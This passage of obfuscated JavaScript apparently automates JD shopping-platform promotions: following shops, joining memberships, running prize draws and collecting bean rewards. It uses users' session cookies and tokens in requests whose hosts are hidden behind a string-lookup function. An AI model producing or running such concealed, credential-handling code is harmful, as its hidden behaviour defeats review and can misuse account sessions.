_0x57be7f===_0x51fe4f;},'GrUvP':_0x1349('148'),'otvUH':_0x1349('149'),'svjEm':function(_0x3dcc7a,_0xf7ee7){return _0x3dcc7a===_0xf7ee7;},'gDelq':_0x1349('14a'),'MOrXP':function(_0x56f170){return _0x56f170();},'WtnFI':_0x1349('14b'),'paZIM':function(_0x585c5b,_0x5018ad){return _0x585c5b(_0x5018ad);},'YDXDV':function(_0x3dd48d,_0x3ef564,_0x187813){return _0x3dd48d(_0x3ef564,_0x187813);},'YshJJ':_0x1349('14c')};return new Promise(_0x20ff12=>{if(_0x1eb8ed[_0x1349('14d')](_0x1eb8ed[_0x1349('14e')],_0x1eb8ed[_0x1349('14e')])){_0x1eb8ed[_0x1349('14f')](_0x20ff12);}else{let _0x4de405=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x1eb8ed[_0x1349('150')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('151');$[_0x1349('e9')](_0x1eb8ed[_0x1349('152')](taskPostUrl,_0x1eb8ed[_0x1349('153')],_0x4de405),async(_0xf1c867,_0x406892,_0x14213b)=>{var _0x577f54={'rLbIC':function(_0x741ad5,_0x3c0aaf){return _0x1eb8ed[_0x1349('154')](_0x741ad5,_0x3c0aaf);},'pxkJN':_0x1eb8ed[_0x1349('155')],'MnSbm':function(_0x5038d1,_0x2b929e){return _0x1eb8ed[_0x1349('156')](_0x5038d1,_0x2b929e);},'hKoap':function(_0x5b8615,_0x39fb4b){return _0x1eb8ed[_0x1349('154')](_0x5b8615,_0x39fb4b);},'pBHnT':_0x1eb8ed[_0x1349('157')],'OqGSs':function(_0x1306e1,_0x2b0cce){return _0x1eb8ed[_0x1349('158')](_0x1306e1,_0x2b0cce);},'RBoSY':function(_0xe2ea06,_0x44dc3b){return _0x1eb8ed[_0x1349('159')](_0xe2ea06,_0x44dc3b);},'KBvhi':_0x1eb8ed[_0x1349('15a')],'hdqEQ':function(_0x393f23,_0x488d8b){return _0x1eb8ed[_0x1349('15b')](_0x393f23,_0x488d8b);},'BZIqt':function(_0x425606,_0x5f034c){return _0x1eb8ed[_0x1349('15c')](_0x425606,_0x5f034c);},'sEQcm':function(_0x11f490){return _0x1eb8ed[_0x1349('15d')](_0x11f490);}};if(_0x1eb8ed[_0x1349('15e')](_0x1eb8ed[_0x1349('15f')],_0x1eb8ed[_0x1349('15f')])){try{if(_0x1eb8ed[_0x1349('160')](_0x1eb8ed[_0x1349('161')],_0x1eb8ed[_0x1349('162')])){let _0x2c5be9=ck[_0x1349('8b')](';')[0x0][_0x1349('163')]();if(_0x2c5be9[_0x1349('8b')]('=')[0x1]){if(_0x577f54[_0x1349('164')](_0x2c5be9[_0x1349('165')](_0x577f54[_0x1349('166')]),-0x1))LZ_TOKEN_KEY=_0x577f54[_0x1349('167')](_0x2c5be9[_0x1349('4d')](/ /g,''),';');if(_0x577f54[_0x1349('168')](_0x2c5be9[_0x1349('165')](_0x577f54[_0x1349('169')]),-0x1))LZ_TOKEN_VALUE=_0x577f54[_0x1349('16a')](_0x2c5be9[_0x1349('4d')](/ /g,''),';');}}else{if(_0xf1c867){if(_0x1eb8ed[_0x1349('16b')](_0x1eb8ed[_0x1349('16c')],_0x1eb8ed[_0x1349('16d')])){if(_0x406892[_0x1349('be')]&&_0x1eb8ed[_0x1349('16e')](_0x406892[_0x1349('be')],0x1ed)){if(_0x1eb8ed[_0x1349('14d')](_0x1eb8ed[_0x1349('16f')],_0x1eb8ed[_0x1349('170')])){console[_0x1349('7')](_0x1eb8ed[_0x1349('171')]);$[_0x1349('13')]=!![];}else{console[_0x1349('7')](_0x14213b);}}console[_0x1349('7')](''+$[_0x1349('68')](_0xf1c867));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{e=_0x577f54[_0x1349('172')](e,0x20);let _0x257a0c=_0x577f54[_0x1349('173')],_0x385ba0=_0x257a0c[_0x1349('3b')],_0x153d13='';for(i=0x0;_0x577f54[_0x1349('174')](i,e);i++)_0x153d13+=_0x257a0c[_0x1349('175')](Math[_0x1349('176')](_0x577f54[_0x1349('177')](Math[_0x1349('91')](),_0x385ba0)));return _0x153d13;}}else{res=$[_0x1349('fb')](_0x14213b);if(_0x1eb8ed[_0x1349('178')](typeof res,_0x1eb8ed[_0x1349('179')])){if(_0x1eb8ed[_0x1349('160')](_0x1eb8ed[_0x1349('17a')],_0x1eb8ed[_0x1349('17b')])){$[_0x1349('50')](e,_0x406892);}else{if(_0x1eb8ed[_0x1349('17c')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){let _0x53c327='';if(res[_0x1349('99')][_0x1349('f3')]){_0x53c327=res[_0x1349('99')][_0x1349('f3')]+'京豆';}console[_0x1349('7')](_0x1349('17d')+_0x1eb8ed[_0x1349('159')](_0x53c327,_0x1eb8ed[_0x1349('17e')]));}else if(_0x1eb8ed[_0x1349('178')](typeof res,_0x1eb8ed[_0x1349('179')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('17f')+(res[_0x1349('2e')]||''));}else{if(_0x1eb8ed[_0x1349('180')](_0x1eb8ed[_0x1349('181')],_0x1eb8ed[_0x1349('182')])){console[_0x1349('7')](_0x1349('110')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x14213b);}}}}else{console[_0x1349('7')](_0x14213b);}}}}catch(_0x2582a5){if(_0x1eb8ed[_0x1349('183')](_0x1eb8ed[_0x1349('184')],_0x1eb8ed[_0x1349('184')])){$[_0x1349('50')](_0x2582a5,_0x406892);}else{$[_0x1349('50')](_0x2582a5,_0x406892);}}finally{_0x1eb8ed[_0x1349('185')](_0x20ff12);}}else{_0x577f54[_0x1349('186')](_0x20ff12);}});}});}function followShop(){var _0x93a68f={'ndYBT':function(_0x23ba2f,_0x3e2ac7){return _0x23ba2f!==_0x3e2ac7;},'ddtXz':_0x1349('187'),'rXgpc':_0x1349('188'),'nfWyK':function(_0x16e9ab,_0x5cc7bc){return _0x16e9ab==_0x5cc7bc;},'izdTx':function(_0x1fb73d,_0x37899e){return _0x1fb73d!==_0x37899e;},'XErBT':_0x1349('189'),'sxkiZ':_0x1349('54'),'zgTme':_0x1349('c3'),'AYMdk':function(_0x29cda0,_0x8bae20){return _0x29cda0===_0x8bae20;},'EKjhj':function(_0x369a1b,_0xd8e329){return _0x369a1b||_0xd8e329;},'XdhlK':_0x1349('c0'),'ToPni':_0x1349('18a'),'nzEaj':_0x1349('18b'),'yCjfD':function(_0x411ee9){return _0x411ee9();},'EpQpB':function(_0x36d208,_0x31c2fc){return _0x36d208>_0x31c2fc;},'opJKf':_0x1349('13c'),'tgNHZ':function(_0xdab755,_0x36fb45){return _0xdab755+_0x36fb45;},'OwmAh':_0x1349('13d'),'mhKEZ':function(_0x7a7a92,_0x3df0da){return _0x7a7a92+_0x3df0da;},'TovTM':function(_0x58d273){return _0x58d273();},'iGrnT':function(_0x35b540,_0xb6445f){return _0x35b540(_0xb6445f);},'JfFpW':function(_0x2ff231,_0x1adb4f,_0x32d42b){return _0x2ff231(_0x1adb4f,_0x32d42b);},'qyDzt':_0x1349('18c')};return new Promise(_0x5b0559=>{var _0x5e7699={'oYYaP':function(_0x425f9b,_0x6edb4f){return _0x93a68f[_0x1349('18d')](_0x425f9b,_0x6edb4f);},'XDTQA':_0x93a68f[_0x1349('18e')],'oDDoB':function(_0x3f678f,_0x33e1d0){return _0x93a68f[_0x1349('18f')](_0x3f678f,_0x33e1d0);},'pZGIz':_0x93a68f[_0x1349('190')],'OQThv':function(_0x3a5f52,_0x35a0e5){return _0x93a68f[_0x1349('191')](_0x3a5f52,_0x35a0e5);},'jTnIB':function(_0xe4fd65){return _0x93a68f[_0x1349('192')](_0xe4fd65);}};let _0x511a97=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x93a68f[_0x1349('193')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('39')+$[_0x1349('34')]+_0x1349('194');$[_0x1349('e9')](_0x93a68f[_0x1349('195')](taskPostUrl,_0x93a68f[_0x1349('196')],_0x511a97),async(_0x965bc8,_0x31fc94,_0x54209b)=>{if(_0x93a68f[_0x1349('197')](_0x93a68f[_0x1349('198')],_0x93a68f[_0x1349('199')])){try{if(_0x965bc8){if(_0x31fc94[_0x1349('be')]&&_0x93a68f[_0x1349('19a')](_0x31fc94[_0x1349('be')],0x1ed)){if(_0x93a68f[_0x1349('19b')](_0x93a68f[_0x1349('19c')],_0x93a68f[_0x1349('19c')])){if(_0x5e7699[_0x1349('19d')](name[_0x1349('165')](_0x5e7699[_0x1349('19e')]),-0x1))LZ_TOKEN_KEY=_0x5e7699[_0x1349('19f')](name[_0x1349('4d')](/ /g,''),';');if(_0x5e7699[_0x1349('19d')](name[_0x1349('165')](_0x5e7699[_0x1349('1a0')]),-0x1))LZ_TOKEN_VALUE=_0x5e7699[_0x1349('1a1')](name[_0x1349('4d')](/ /g,''),';');}else{console[_0x1349('7')](_0x93a68f[_0x1349('1a2')]);$[_0x1349('13')]=!![];}}console[_0x1349('7')](''+$[_0x1349('68')](_0x965bc8));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{res=$[_0x1349('fb')](_0x54209b);if(_0x93a68f[_0x1349('19a')](typeof res,_0x93a68f[_0x1349('1a3')])){if(_0x93a68f[_0x1349('1a4')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){let _0x13a8e1='';if(res[_0x1349('99')][_0x1349('f3')]){_0x13a8e1=res[_0x1349('99')][_0x1349('f3')]+'京豆';}if(res[_0x1349('99')][_0x1349('f4')]&&res[_0x1349('99')][_0x1349('f5')]){_0x13a8e1+=_0x1349('f6')+res[_0x1349('99')][_0x1349('f4')]+'京豆';}console[_0x1349('7')](_0x1349('f7')+_0x93a68f[_0x1349('1a5')](_0x13a8e1,_0x93a68f[_0x1349('1a6')]));}else if(_0x93a68f[_0x1349('19a')](typeof res,_0x93a68f[_0x1349('1a3')])&&res[_0x1349('2e')]){if(_0x93a68f[_0x1349('19b')](_0x93a68f[_0x1349('1a7')],_0x93a68f[_0x1349('1a8')])){console[_0x1349('7')](_0x1349('1a9')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](''+$[_0x1349('68')](_0x965bc8));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}}else{console[_0x1349('7')](_0x54209b);}}else{console[_0x1349('7')](_0x54209b);}}}catch(_0x2a99ed){$[_0x1349('50')](_0x2a99ed,_0x31fc94);}finally{_0x93a68f[_0x1349('1aa')](_0x5b0559);}}else{_0x5e7699[_0x1349('1ab')](_0x5b0559);}});});}function getshopactivityId(_0x570f67){var _0x151208={'yWsjP':function(_0x1a205d,_0x1c39e6){return _0x1a205d==_0x1c39e6;},'IxVxm':function(_0x8865cd,_0x3af4b9){return _0x8865cd!==_0x3af4b9;},'CoZrN':_0x1349('1ac'),'wrwBw':_0x1349('1ad'),'XonRi':function(_0x527f34){return _0x527f34();},'dZKgS':function(_0x2d290f,_0x37a6bd){return _0x2d290f>_0x37a6bd;},'sXHwl':_0x1349('1ae'),'MPSnb':function(_0x59a35a,_0x196375){return _0x59a35a+_0x196375;},'fGwqs':_0x1349('13c'),'VOdMP':function(_0x430785,_0x28b06e){return _0x430785>_0x28b06e;},'TBDHm':_0x1349('13d'),'jLclr':function(_0x2f410b,_0x193528){return _0x2f410b(_0x193528);}};return new Promise(_0x186653=>{var _0x1ded34={'BQtEy':function(_0x3f2357,_0x290200){return _0x151208[_0x1349('1af')](_0x3f2357,_0x290200);},'Xmujo':_0x151208[_0x1349('1b0')],'OujNA':function(_0x221b61,_0x2dec35){return _0x151208[_0x1349('1b1')](_0x221b61,_0x2dec35);},'vwQJf':_0x151208[_0x1349('1b2')],'lFtrT':function(_0x24af26,_0x18fde2){return _0x151208[_0x1349('1b3')](_0x24af26,_0x18fde2);},'RwGvi':_0x151208[_0x1349('1b4')]};$[_0x1349('1b5')](_0x151208[_0x1349('1b6')](shopactivityId,''+_0x570f67),async(_0x4eaa92,_0x16c7ae,_0x2e0888)=>{try{_0x2e0888=JSON[_0x1349('116')](_0x2e0888);if(_0x151208[_0x1349('1b7')](_0x2e0888[_0x1349('1b8')],!![])){$[_0x1349('1b9')]=_0x2e0888[_0x1349('b1')][_0x1349('1ba')]&&_0x2e0888[_0x1349('b1')][_0x1349('1ba')][0x0]&&_0x2e0888[_0x1349('b1')][_0x1349('1ba')][0x0][_0x1349('1bb')]&&_0x2e0888[_0x1349('b1')][_0x1349('1ba')][0x0][_0x1349('1bb')][_0x1349('36')]||'';}}catch(_0x4bd3d9){$[_0x1349('50')](_0x4bd3d9,_0x16c7ae);}finally{if(_0x151208[_0x1349('1bc')](_0x151208[_0x1349('1bd')],_0x151208[_0x1349('1be')])){_0x151208[_0x1349('1bf')](_0x186653);}else{if(_0x1ded34[_0x1349('1c0')](name[_0x1349('165')](_0x1ded34[_0x1349('1c1')]),-0x1))lz_jdpin_token=_0x1ded34[_0x1349('1c2')](name[_0x1349('4d')](/ /g,''),';');if(_0x1ded34[_0x1349('1c0')](name[_0x1349('165')](_0x1ded34[_0x1349('1c3')]),-0x1))LZ_TOKEN_KEY=_0x1ded34[_0x1349('1c2')](name[_0x1349('4d')](/ /g,''),';');if(_0x1ded34[_0x1349('1c4')](name[_0x1349('165')](_0x1ded34[_0x1349('1c5')]),-0x1))LZ_TOKEN_VALUE=_0x1ded34[_0x1349('1c2')](name[_0x1349('4d')](/ /g,''),';');}}});});}function shopactivityId(_0x5119fe){var _0x4a3228={'BQnzg':_0x1349('1c6'),'ijLge':_0x1349('1c7'),'aDcpu':_0x1349('1c8'),'cPNoV':_0x1349('1c9'),'KZxiJ':_0x1349('1ca')};return{'url':_0x1349('1cb')+_0x5119fe+_0x1349('1cc'),'headers':{'Content-Type':_0x4a3228[_0x1349('1cd')],'Origin':_0x4a3228[_0x1349('1ce')],'Host':_0x4a3228[_0x1349('1cf')],'accept':_0x4a3228[_0x1349('1d0')],'User-Agent':$['UA'],'content-type':_0x4a3228[_0x1349('1d1')],'Referer':_0x1349('1d2')+_0x5119fe+_0x1349('1d3')+_0x5119fe+_0x1349('1d4')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'Cookie':cookie}};}function join(_0x3bdb0c){var _0x308973={'yUVoV':function(_0x3f40d0,_0xf9a0ed){return _0x3f40d0==_0xf9a0ed;},'EgYkU':_0x1349('c3'),'dgxCA':function(_0x14e8c8,_0x4bfe9c){return _0x14e8c8===_0x4bfe9c;},'oSAzI':function(_0x44b906,_0x16a088){return _0x44b906!==_0x16a088;},'wyNRj':_0x1349('1d5'),'AHPzt':function(_0x5899f6,_0x4b704b){return _0x5899f6===_0x4b704b;},'BHoGy':_0x1349('1d6'),'hYuMx':function(_0x2901da){return _0x2901da();},'OvtXK':function(_0x4904b1,_0x5e2036){return _0x4904b1==_0x5e2036;},'ehLox':function(_0x4931a7,_0x151809){return _0x4931a7===_0x151809;},'qeMJP':function(_0x456b18,_0x50c796){return _0x456b18!=_0x50c796;},'qYrrk':_0x1349('53'),'zePPg':_0x1349('59'),'mkrRO':function(_0x2d5163,_0x43dd2c){return _0x2d5163==_0x43dd2c;},'RpKbK':_0x1349('54'),'dauDE':function(_0x464f87){return _0x464f87();},'pAGPA':function(_0x272210,_0x123bc8){return _0x272210!==_0x123bc8;},'lMqmc':_0x1349('1d7'),'nOzBV':_0x1349('1d8'),'mfVtS':function(_0x1a09dc,_0x2a198a){return _0x1a09dc(_0x2a198a);},'GpWNI':function(_0x193b6f,_0x4e65ff){return _0x193b6f(_0x4e65ff);}};return new Promise(async _0x1a0008=>{var _0x477584={'YoStg':_0x308973[_0x1349('1d9')],'QPkbn':function(_0x53715b){return _0x308973[_0x1349('1da')](_0x53715b);}};if(_0x308973[_0x1349('1db')](_0x308973[_0x1349('1dc')],_0x308973[_0x1349('1dd')])){$[_0x1349('1b9')]='';await $[_0x1349('83')](0x3e8);await _0x308973[_0x1349('1de')](getshopactivityId,_0x3bdb0c);$[_0x1349('1b5')](_0x308973[_0x1349('1df')](ruhui,''+_0x3bdb0c),async(_0x5ed104,_0x5769d5,_0xc5c68a)=>{try{let _0x8758b6=$[_0x1349('fb')](_0xc5c68a);if(_0x308973[_0x1349('1e0')](typeof _0x8758b6,_0x308973[_0x1349('1e1')])){if(_0x308973[_0x1349('1e2')](_0x8758b6[_0x1349('1b8')],!![])){console[_0x1349('7')](_0x8758b6[_0x1349('1e3')]);if(_0x8758b6[_0x1349('b1')]&&_0x8758b6[_0x1349('b1')][_0x1349('b2')]){for(let _0x48fa61 of _0x8758b6[_0x1349('b1')][_0x1349('b2')][_0x1349('b3')]){if(_0x308973[_0x1349('1e4')](_0x308973[_0x1349('1e5')],_0x308973[_0x1349('1e5')])){console[_0x1349('7')](_0x477584[_0x1349('1e6')]);$[_0x1349('13')]=!![];}else{console[_0x1349('7')](_0x1349('b4')+_0x48fa61[_0x1349('b5')]+_0x48fa61[_0x1349('b6')]+_0x48fa61[_0x1349('b7')]);}}}}else if(_0x308973[_0x1349('1e0')](typeof _0x8758b6,_0x308973[_0x1349('1e1')])&&_0x8758b6[_0x1349('1e3')]){console[_0x1349('7')](''+(_0x8758b6[_0x1349('1e3')]||''));}else{console[_0x1349('7')](_0xc5c68a);}}else{console[_0x1349('7')](_0xc5c68a);}}catch(_0x2d8124){if(_0x308973[_0x1349('1e7')](_0x308973[_0x1349('1e8')],_0x308973[_0x1349('1e8')])){$[_0x1349('50')](_0x2d8124,_0x5769d5);}else{_0x477584[_0x1349('1e9')](_0x1a0008);}}finally{_0x308973[_0x1349('1ea')](_0x1a0008);}});}else{res=$[_0x1349('fb')](data);if(_0x308973[_0x1349('1eb')](typeof res,_0x308973[_0x1349('1e1')])&&res[_0x1349('b1')]&&_0x308973[_0x1349('1ec')](res[_0x1349('b1')],!![])){if(res[_0x1349('99')]&&_0x308973[_0x1349('1ed')](typeof res[_0x1349('99')][_0x1349('1ee')],_0x308973[_0x1349('1ef')]))$[_0x1349('7d')]=res[_0x1349('99')][_0x1349('1ee')]||_0x308973[_0x1349('1f0')];}else if(_0x308973[_0x1349('1f1')](typeof res,_0x308973[_0x1349('1e1')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('2d')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](data);}}});}function ruhui(_0x34b8dc){var _0x448c97={'assoA':_0x1349('1c6'),'JqtyK':_0x1349('1c7'),'MzFsb':_0x1349('1c8'),'KSgcj':_0x1349('1c9'),'fCoXb':_0x1349('1ca')};let _0x403ba5='';if($[_0x1349('1b9')])_0x403ba5=_0x1349('1f2')+$[_0x1349('1b9')];return{'url':_0x1349('1f3')+_0x34b8dc+_0x1349('1f4')+_0x34b8dc+_0x1349('1f5')+_0x403ba5+_0x1349('1f6'),'headers':{'Content-Type':_0x448c97[_0x1349('1f7')],'Origin':_0x448c97[_0x1349('1f8')],'Host':_0x448c97[_0x1349('1f9')],'accept':_0x448c97[_0x1349('1fa')],'User-Agent':$['UA'],'content-type':_0x448c97[_0x1349('1fb')],'Referer':_0x1349('1d2')+_0x34b8dc+_0x1349('1d3')+_0x34b8dc+_0x1349('1d4')+$[_0x1349('36')]+_0x1349('39')+$[_0x1349('34')],'Cookie':cookie}};}function startDraw(_0x5a82b7){var _0x313d33={'cPQEl':function(_0x3fcf15,_0x1407b2){return _0x3fcf15||_0x1407b2;},'dnwNw':_0x1349('c0'),'fEpqF':function(_0x16cad7,_0x56ba01){return _0x16cad7===_0x56ba01;},'KTFEZ':_0x1349('1fc'),'vlLLC':function(_0x2cfbcb,_0x4d854a){return _0x2cfbcb===_0x4d854a;},'lxDEx':_0x1349('1fd'),'BtKpy':_0x1349('1fe'),'fgwub':function(_0x3781a5,_0x24fe87){return _0x3781a5==_0x24fe87;},'BZnTG':_0x1349('c3'),'dGgnu':_0x1349('1ff'),'xqNFP':_0x1349('200'),'OgHAr':function(_0x45dda1,_0x5ec1c7){return _0x45dda1===_0x5ec1c7;},'XqsWs':_0x1349('201'),'zBmkP':_0x1349('202'),'yCSre':function(_0xf023c5){return _0xf023c5();},'xCYiQ':function(_0x1f2a4d,_0x4745c1){return _0x1f2a4d(_0x4745c1);},'pyfdw':function(_0x133fef,_0x6bd2cb,_0x5aef4d){return _0x133fef(_0x6bd2cb,_0x5aef4d);},'Idjlm':_0x1349('203')};return new Promise(_0x2bf161=>{let _0x7fd360=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('e6')+_0x313d33[_0x1349('204')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('205')+_0x5a82b7;$[_0x1349('e9')](_0x313d33[_0x1349('206')](taskPostUrl,_0x313d33[_0x1349('207')],_0x7fd360),async(_0x811941,_0x54c5a,_0x307f13)=>{var _0x105eaf={'nsFoh':function(_0x29c403,_0x1c30f5){return _0x313d33[_0x1349('208')](_0x29c403,_0x1c30f5);},'DgKie':_0x313d33[_0x1349('209')]};try{if(_0x811941){if(_0x313d33[_0x1349('20a')](_0x313d33[_0x1349('20b')],_0x313d33[_0x1349('20b')])){console[_0x1349('7')](''+$[_0x1349('68')](_0x811941));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{let _0x353092='';if(res[_0x1349('99')][_0x1349('f3')]){_0x353092=res[_0x1349('99')][_0x1349('f3')]+'京豆';}console[_0x1349('7')](_0x1349('17d')+_0x105eaf[_0x1349('20c')](_0x353092,_0x105eaf[_0x1349('20d')]));}}else{if(_0x313d33[_0x1349('20e')](_0x313d33[_0x1349('20f')],_0x313d33[_0x1349('210')])){cookiesArr[_0x1349('3')](jdCookieNode[item]);}else{res=$[_0x1349('fb')](_0x307f13);if(_0x313d33[_0x1349('211')](typeof res,_0x313d33[_0x1349('212')])){if(_0x313d33[_0x1349('20e')](_0x313d33[_0x1349('213')],_0x313d33[_0x1349('214')])){console[_0x1349('7')](_0x307f13);}else{if(_0x313d33[_0x1349('20e')](res[_0x1349('b1')],!![])&&res[_0x1349('99')]){console[_0x1349('7')](_0x1349('215')+(res[_0x1349('99')][_0x1349('216')]&&res[_0x1349('99')][_0x1349('25')]||_0x313d33[_0x1349('209')]));}else if(_0x313d33[_0x1349('211')](typeof res,_0x313d33[_0x1349('212')])&&res[_0x1349('2e')]){console[_0x1349('7')](_0x1349('4e')+(res[_0x1349('2e')]||''));}else{console[_0x1349('7')](_0x307f13);}}}else{if(_0x313d33[_0x1349('217')](_0x313d33[_0x1349('218')],_0x313d33[_0x1349('219')])){console[_0x1349('7')](''+$[_0x1349('68')](_0x811941));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('21a'));}else{console[_0x1349('7')](_0x307f13);}}}}}catch(_0x46f842){$[_0x1349('50')](_0x46f842,_0x54c5a);}finally{_0x313d33[_0x1349('21b')](_0x2bf161);}});});}function checkOpenCard(){var _0x54fd3c={'BUVPG':function(_0x40dfd4){return _0x40dfd4();},'jnyiz':function(_0x619a39,_0x301ddd){return _0x619a39!==_0x301ddd;},'uOVBq':_0x1349('21c'),'svTRm':_0x1349('21d'),'aqQiz':_0x1349('21e'),'gcgRR':_0x1349('21f'),'vGKtD':_0x1349('c3'),'zDmZT':function(_0x150075,_0x1332ad){return _0x150075===_0x1332ad;},'UxqTW':_0x1349('220'),'EKzgz':function(_0xf56b1,_0x567f69){return _0xf56b1!==_0x567f69;},'pfjFa':_0x1349('221'),'KoUqa':function(_0x1d02b1,_0x76da7d){return _0x1d02b1(_0x76da7d);},'FRyHJ':function(_0x2e2e85,_0x164f3b){return _0x2e2e85(_0x164f3b);},'fXvJs':function(_0x7922e8,_0x117a81,_0x57700b){return _0x7922e8(_0x117a81,_0x57700b);},'XOvXS':_0x1349('222')};return new Promise(_0x1e9726=>{var _0x58d1de={'sHROY':function(_0x49eebc){return _0x54fd3c[_0x1349('223')](_0x49eebc);},'tZvAX':function(_0x349d59){return _0x54fd3c[_0x1349('223')](_0x349d59);},'ViSlI':function(_0xbb36a5,_0x3a6d77){return _0x54fd3c[_0x1349('224')](_0xbb36a5,_0x3a6d77);},'KPseM':_0x54fd3c[_0x1349('225')],'GGajv':_0x54fd3c[_0x1349('226')],'Yamuh':_0x54fd3c[_0x1349('227')],'kFuGP':_0x54fd3c[_0x1349('228')],'suLcp':_0x54fd3c[_0x1349('229')],'yrUYO':function(_0x5c6054,_0x4d518a){return _0x54fd3c[_0x1349('22a')](_0x5c6054,_0x4d518a);},'tgeIP':_0x54fd3c[_0x1349('22b')],'JHDLf':function(_0x450f71,_0x2729e7){return _0x54fd3c[_0x1349('22c')](_0x450f71,_0x2729e7);},'TxHRH':_0x54fd3c[_0x1349('22d')],'RSceM':function(_0x47c396,_0x516082){return _0x54fd3c[_0x1349('22e')](_0x47c396,_0x516082);}};let _0x450e28=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x54fd3c[_0x1349('22f')](encodeURIComponent,$[_0x1349('6b')])+_0x1349('e5')+$[_0x1349('3e')]+_0x1349('39')+$[_0x1349('34')];$[_0x1349('e9')](_0x54fd3c[_0x1349('230')](taskPostUrl,_0x54fd3c[_0x1349('231')],_0x450e28),async(_0x2cb420,_0xdaafb,_0x376f35)=>{var _0x58c6e9={'cjjMC':function(_0x11c2f8){return _0x58d1de[_0x1349('232')](_0x11c2f8);}};if(_0x58d1de[_0x1349('233')](_0x58d1de[_0x1349('234')],_0x58d1de[_0x1349('235')])){try{if(_0x58d1de[_0x1349('233')](_0x58d1de[_0x1349('236')],_0x58d1de[_0x1349('237')])){if(_0x2cb420){console[_0x1349('7')](''+$[_0x1349('68')](_0x2cb420));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{res=$[_0x1349('fb')](_0x376f35);if(_0x58d1de[_0x1349('233')](typeof res,_0x58d1de[_0x1349('238')])){if(_0x58d1de[_0x1349('239')](_0x58d1de[_0x1349('23a')],_0x58d1de[_0x1349('23a')])){console[_0x1349('7')](_0x376f35);}else{console[_0x1349('7')](_0x1349('23b')+(res[_0x1349('2e')]||''));}}}}else{_0x58c6e9[_0x1349('23c')](_0x1e9726);}}catch(_0x1602c9){if(_0x58d1de[_0x1349('23d')](_0x58d1de[_0x1349('23e')],_0x58d1de[_0x1349('23e')])){$[_0x1349('50')](_0x1602c9,_0xdaafb);}else{$[_0x1349('50')](_0x1602c9,_0xdaafb);}}finally{_0x58d1de[_0x1349('23f')](_0x1e9726,res&&res[_0x1349('99')]||'');}}else{_0x58d1de[_0x1349('240')](_0x1e9726);}});});}function drawContent(){var _0x25e112={'ZMoay':function(_0x343ae9){return _0x343ae9();},'KRpcL':_0x1349('1b'),'UQxzk':function(_0x5c5430,_0x4a4cc5){return _0x5c5430===_0x4a4cc5;},'XyhRp':_0x1349('241'),'ffpKs':function(_0x3b69d2,_0xf121cf){return _0x3b69d2(_0xf121cf);},'WMZnH':function(_0x121ccb,_0x11ce1c,_0x1befaa){return _0x121ccb(_0x11ce1c,_0x1befaa);},'HVGyS':_0x1349('242')};return new Promise(_0x32d7f6=>{if(_0x25e112[_0x1349('243')](_0x25e112[_0x1349('244')],_0x25e112[_0x1349('244')])){let _0x55544c=_0x1349('e4')+$[_0x1349('36')]+_0x1349('e6')+_0x25e112[_0x1349('245')](encodeURIComponent,$[_0x1349('6b')]);$[_0x1349('e9')](_0x25e112[_0x1349('246')](taskPostUrl,_0x25e112[_0x1349('247')],_0x55544c),async(_0x4ccab1,_0x56e403,_0x133aff)=>{try{if(_0x4ccab1){console[_0x1349('7')](''+$[_0x1349('68')](_0x4ccab1));console[_0x1349('7')]($[_0x1349('25')]+_0x1349('fa'));}else{}}catch(_0x1181b6){$[_0x1349('50')](_0x1181b6,_0x56e403);}finally{_0x25e112[_0x1349('248')](_0x32d7f6);}});}else{console[_0x1349('7')](_0x25e112[_0x1349('249')]);}});}function getActorUuid(){var _0x255243={'rkAVW':function(_0x49c035,_0x45a64a){return _0x49c035===_0x45a64a;},'jikRM':_0x1349('24a'),'cFwiJ':_0x1349('24b'),'wGmKf':function(_0x4ccf1a,_0x5aeffc){return _0x4ccf1a==_0x5aeffc;},'rmRvX':_0x1349('54'),'BYADT':_0x1349('c3'),'WUaWL':function(_0x2f98b7,_0x575c98){return _0x2f98b7===_0x575c98;},'rUrTs':function(_0x72387a,_0x11af87){return _0x72387a!=_0x11af87;},'sKJaf':_0x1349('53'),'jamdf':function(_0x52abc8,_0x28b95b){return _0x52abc8!=_0x28b95b;},'QzFVN':_0x1349('24c'),'AvZYR':_0x1349('24d'),'imPmE':_0x1349('24e'),'mMtrh':_0x1349('24f'),'OsNIs':function(_0x4f9bab){return _0x4f9bab();},'JHEvn':function(_0x540bc1,_0x281f82){return _0x540bc1(_0x281f82);},'yENES':function(_0x52036c,_0x249f37){return _0x52036c(_0x249f37);},'aovrV':function(_0x26fedb,_0x2eaf17,_0x49e74d){return _0x26fedb(_0x2eaf17,_0x49e74d);},'MOAWD':_0x1349('250')};return new Promise(_0x431d36=>{var _0x11f52a={'YBXsw':function(_0x35202b,_0x2750e8){return _0x255243[_0x1349('251')](_0x35202b,_0x2750e8);},'taFGf':_0x255243[_0x1349('252')],'pUyIN':_0x255243[_0x1349('253')],'OMfjc':function(_0x201e69,_0x5b62ad){return _0x255243[_0x1349('254')](_0x201e69,_0x5b62ad);},'RExDu':_0x255243[_0x1349('255')],'SuhzP':_0x255243[_0x1349('256')],'rMPpE':function(_0x380378,_0xe24c96){return _0x255243[_0x1349('257')](_0x380378,_0xe24c96);},'IpCKV':function(_0x4f6e03,_0x304d90){return 